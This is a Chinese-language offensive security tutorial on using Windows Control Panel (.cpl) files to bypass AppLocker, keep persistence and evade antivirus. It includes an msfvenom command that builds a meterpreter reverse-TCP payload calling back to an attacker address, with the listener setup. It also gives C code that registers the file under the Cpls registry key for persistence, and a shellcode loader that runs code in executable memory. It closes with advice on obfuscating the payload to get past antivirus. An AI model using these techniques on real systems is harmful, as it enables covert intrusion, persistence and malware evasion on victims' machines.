干貨 | 巧用cpl文件維持權限和免殺
前言
最近無意間發現了cpl文件,之前對該類型的文件了解幾乎為零,由于觸及到我的知識盲區,于是決定探究。
cpl文件
CPL文件,是Windows控制面板擴展項,CPL全拼為Control Panel Item 在system32目錄下有一系列的cpl文件,分別對應著各種控制面板的子選項

列入我們win+R輸入main.cpl

將會打開控制面板中的鼠標屬性

cpl文件本質是屬于PE文件

但cpl并不像exe,更像是dll,無法直接打開,只能以加載的形式運行。并且有一個導出函數CPlApplet 該函數是控制面板應用程序的入口點,它被控制面板管理程序自動調用,且是個回調函數。

如何打開cpl
1.雙擊或者win+r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名> 注意:所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe實質調用了rundll32.exe。打開后找不到control.exe進程,只能找到rundll32.exe。

4.vbs腳本
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")

5.js腳本
var a = newActiveXObject("Shell.Application");
a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");

如何自己制造一個cpl文件
最簡單的方式:直接創建一個dll,無需導出函數,然后改后綴名
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("Calc.exe", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
隨便一種方式執行

這里既然可以彈出calc.exe,那么能不能執行自己的payload的呢,答案是肯定的。
cpl文件的應用
bypass Windows AppLocker
什么是Windows AppLocker: AppLocker即“應用程序控制策略”,是Windows 7系統中新增加的一項安全功能。在win7以上的系統中默認都集成了該功能。
默認的Applocker規則集合,可以看到cpl并不在默認規則中:

開啟Applocker規則: 打開計算機管理,選擇服務,將Application Identity服務開啟

然后在安全策略中,添加一條applocker規則,會詢問是否添加默認規則

默認規則為:

假設設置某一路徑無法執行可執行程序,再次運行時就會提示組策略安全,不允許運行

繞過的方式有很多,這里只講cpl文件 完全可以把代碼寫入到cpl文件中,同樣達到執行目的,這里就彈一個cmd

msf直接生成cpl文件
生成cpl文件 msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl

將文件拖到本地并運行,msf監聽
?use exploit/multi/handler?set payload windows/meterpreter/reverse_tcp?set lhost 192.168.111.128?set lport 8877?exploit

這樣肯定是不夠的,可以把這個cpl文件當作一個后門,做到一個權限維持的效果,且比較隱蔽。將cpl文件名稱改為test.cpl 創建一個項目,作用為修改注冊表:
HKEY hKey; DWORD dwDisposition; char path[] = "C:\\test.cpl"; RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition); RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1+ ::lstrlenA(path)));
不一定將cpl文件放到c盤更目錄,可以自定義路徑 執行后

然后這里在開啟control.exe時,test.cpl文件也會被打開。

如果目標主機有殺軟,可以通過該方法白加黑繞過,但是msf的cpl文件特征非常明顯,靜態太概率都會被殺掉。

除了加殼之外,寄希望于自己實現加載shellcode,方便做混淆。
使用shellcode自己做一個cpl文件
直接上代碼
#include"pch.h"
#include"windows.h"
extern"C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsignedchar buf[] = "shellcode";
LPVOID Memory= VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
這是最最最最基礎的loader 先打開control.exe看看效果

看看查殺率

這里上傳的文本,shellcode沒有做任何的處理,查殺率已經算比較低的,如果混淆一下,很輕松的就可以靜態過殺軟,再用白加黑,是不是想想就很輕松呢。
經過一系列處理后,找殺毒能力還比較強的360試一下
